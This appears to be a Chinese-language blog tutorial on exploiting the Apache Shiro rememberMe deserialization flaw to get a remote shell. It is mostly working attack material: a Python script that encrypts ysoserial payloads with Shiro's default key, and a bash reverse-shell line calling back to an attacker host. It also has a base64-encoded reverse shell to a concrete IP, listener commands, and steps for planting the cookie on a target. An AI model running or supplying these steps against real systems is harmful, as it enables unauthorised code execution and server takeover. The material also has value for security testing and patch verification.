漏洞发现

image.png-88.3kB

只要在cookie中传递rememberMe=awdawd,然后返回包存在rememberMe=deleteMe;的都可能存在shiro反序列化漏洞

安装工具

1
git clone https://github.com/frohoff/ysoserial.git

image.png-58.3kB

安装mvn

1
apt install maven

然后执行

1
mvn package -DskipTests

就会生成一个target目录,全部工具都在下面

image.png-41.8kB

还有一个工具是构造恶意rememberMe的,下面会讲用法(我将其存为1.py

1
import sys
2
import uuid
3
import base64
4
import subprocess
5
from Crypto.Cipher import AES
6
 
7
def encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录
8
9
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
10
    BS = AES.block_size
11
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
12
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
13
    iv = uuid.uuid4().bytes
14
    encryptor = AES.new(key, AES.MODE_CBC, iv)
15
    file_body = pad(popen.stdout.read())
16
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
17
    return base64_ciphertext
18
 
19
 
20
if __name__ == '__main__':
21
    payload = encode_rememberme(sys.argv[1])
22
    print "rememberMe={0}".format(payload.decode())

漏洞环境

1
xxx.xxx.xx1 攻击机(一定要是外网的,否则无法反弹shell)
2
xxx.xxx.xx2 目标机

复现过程

1、构造恶意rememberMe

1
python 1.py xxx.xxx.xx1:PORT1

image.png-25.9kB

2、制作bash反弹shell命令

1
bash -i >& /dev/tcp/xxx.xxx.xx1/外网服务器监听端口(我用的是448) 0>&1

然后要放到http://www.jackson-t.ca/runtime-exec-payloads.html加密,因为他放入`rememberMe`会解`base64`

image.png-114.1kB

3、然后使用ysoserial的监听模块监听PORT1端口(第一步生成rememberMe的端口)

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 4321 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNjUuMjIuNDkuMTcvNDQ4IDA+JjE=}|{base64,-d}|{bash,-i}'

image.png-17.6kB

4、监听第二步制作的反弹shell的端口

1
nc -lvp 448

image.png-5.8kB

5、然后在目标站上抓包,在cookie里加入第一步生成的rememberMe

image.png-125.9kB

然后就可以看到nc反弹过来的shell

image.png-18.9kB

成功获取shell,由于是linux,所以无后续。